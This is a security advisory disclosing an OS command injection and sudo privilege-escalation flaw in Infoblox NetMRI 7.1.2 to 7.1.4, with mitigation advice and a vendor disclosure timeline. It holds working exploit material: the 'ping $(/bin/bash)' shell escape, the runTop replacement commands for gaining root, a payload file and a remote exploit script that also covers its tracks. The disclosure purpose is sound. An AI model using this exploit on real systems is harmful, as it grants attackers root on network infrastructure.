Infoblox NetMRI versions 7.1.2 through 7.1.4 suffer from administration shell escape and privilege escalation vulnerabilities.
b723ed326bd04aa156050b80d0b7a39fKL-001-2017-017 : Infoblox NetMRI Administration Shell Escape and Privilege Escalation
Title: Infoblox NetMRI Administration Shell Escape and Privilege Escalation
Advisory ID: KL-001-2017-017
Publication Date: 2017.10.24
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-017.txt
1. Vulnerability Details
Affected Vendor: Infoblox
Affected Product: NetMRI
Affected Version: 7.1.2 - 7.1.4
Platform: Embedded Linux
CWE Classification: CWE-78: Improper Neutralization of Special Elements
used in an OS Command ('OS Command Injection'),
CWE-272: Least Privilege Violation
Impact: Root Access
Attack vector: SSH
2. Vulnerability Description
An authenticated user can escape the management shell and
subsequently escalate to root via insecure file ownership and
sudo permissions.
3. Technical Description
The attacker begins by logging into the NetMRI CLI using a
previously acquired or default admin account credential.
$ ssh [email protected]
NetMRI VM-AD30-5C6CE
ALL UNAUTHORIZED ACCESS TO THIS SYSTEM WILL BE PROSECUTED TO THE MAXIMUM EXTENT ALLOWED BY APPLICABLE LAWS.
Last login: Mon Mar 13 15:04:37 2017 from 1.3.3.6
************************************************************************
ALL UNAUTHORIZED ACCESS TO THIS SYSTEM WILL BE PROSECUTED TO THE MAXIMUM
EXTENT ALLOWED BY APPLICABLE LAWS.
************************************************************************
NetMRI Administrative Shell
---------------------------
Available Commands:
acl ftp md5sum register setup
autoupdate grep more remoteCopy show
cat halt netstat removedsb snmpwalk
clear help ping removemib ssh-key
configure installdsb provisiondisk repair supportbundle
debug installhelpfiles quit reset telnet
deregister installmib rdtclient restore tftpsync
diagnostic license reboot rm top
exit ls recalculate-spm route traceroute
export maintenance refreshgroups set
A bash command can then be encapsulated using the $()
technique. In the case below, we simply call the bash binary.
NetMRI-VM-AD30-5C6CE> ping $(/bin/bash)
NOTE: Defaulting to MGMT network. Use -I to bind to a specific network...
This places us in a new shell. This is the shell of a normal
user who has been given access to a subset of commands using
sudo.
The admin and netmri accounts are permitted to execute various
system commands from /bin/ and /usr/bin/ with any arguments
sufficient to trivially escalate to root access such as /bin/cp,
/bin/chmod, /bin/mv, /usr/sbin/find, etc., as well as some
vendor-specific programs under /tools/. These can be used to
escalate to root by overwriting /etc/shadow, creating a setuid
shell, etc.
In addition, numerous commands in users' home directories can be
executed as root via sudo, such as multiple /home/admin/*
commands runnable by user admin, and /home/reset/FactoryReset for
user reset. One such example is runTop. runTop is a script which
resides in the home directory of the admin user.
In order to escalate privileges to root using a sudo-able command
in a user's home directory, an attacker can move the real file,
then create a malicious replacement and call it using sudo:
[admin@NetMRI-VM-AD30-5C6CE Backup]$ cd /home/admin
[admin@NetMRI-VM-AD30-5C6CE ~]$ mv /home/admin/runTop /home/admin/runTop.orig
[admin@NetMRI-VM-AD30-5C6CE ~]$ echo '#!/bin/bash' > /home/admin/runTop
[admin@NetMRI-VM-AD30-5C6CE ~]$ echo /bin/bash >> /home/admin/runTop
[admin@NetMRI-VM-AD30-5C6CE ~]$ chmod a+x /home/admin/runTop
[admin@NetMRI-VM-AD30-5C6CE ~]$ sudo /home/admin/runTop
Now we have root.
[root@NetMRI-VM-AD30-5C6CE ~]# id;uname -a
uid=0(root) gid=0(root) groups=0(root)
Linux NetMRI-VM-AD30-5C6CE 3.14.25.osib.7.1.0.20160929 #1 SMP Thu Sep 29 12:50:42 UTC 2016 x86_64 x86_64 x86_64
GNU/Linux
[root@NetMRI-VM-AD30-5C6CE ~]#
The users admin, netmri, and reset all have similar NOPASSWD
sudoers entries for scripts and/or binaries which the privilege
escalation can be performed against.
4. Mitigation and Remediation Recommendation
There is no known remediation of this vulnerability from the
vendor. Administrators should heavily restrict access to any
account of any privilege which can use the ping command in
the NetMRI CLI.
Network access to management interfaces should be properly
segmented.
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
and Hank Leininger of KoreLogic, Inc.
6. Disclosure Timeline
2017.07.21 - KoreLogic requests security contact and PGP key
from Infoblox.
2017.07.21 - Infoblox suggests '[email protected]'
with PGP key id 0xC4AB2799.
2017.07.24 - KoreLogic submits vulnerability information to Infoblox.
2017.07.31 - 5 business days have elapsed since the vulnerability
was reported. No response from Infoblox.
2017.09.15 - KoreLogic requests update from Infoblox.
2017.09.26 - 45 business days have elapsed since the vulnerability
was reported to Infoblox.
2017.10.17 - KoreLogic requests an update from Infoblox.
2017.10.18 - 60 business days have elapsed since the vulnerability
was reported to Infoblox.
2017.10.24 - KoreLogic public disclosure.
7. Proof of Concept
Payload file (.a)
#!/bin/bash
mv /home/admin/runTop /home/admin/runTop.orig
echo '#!/bin/bash' > /home/admin/runTop
echo /bin/bash >> /home/admin/runTop
chmod a+x /home/admin/runTop
sudo /home/admin/runTop
/bin/rm -rf /home/admin/runTop
mv /home/admin/runTop.orig /home/admin/runTop
/bin/rm -rf /var/home/admin/chroot-home/Backup/.a
Exploit bash script
#!/bin/bash
TARGET_HOST=$2
TARGET_PORT=$3
TARGET_USER=$1
scp -P $TARGET_PORT netmri-privesc $TARGET_USER@$TARGET_HOST:.a
ssh -p $TARGET_PORT $TARGET_USER@$TARGET_HOST 'ping $(/bin/bash .a)'
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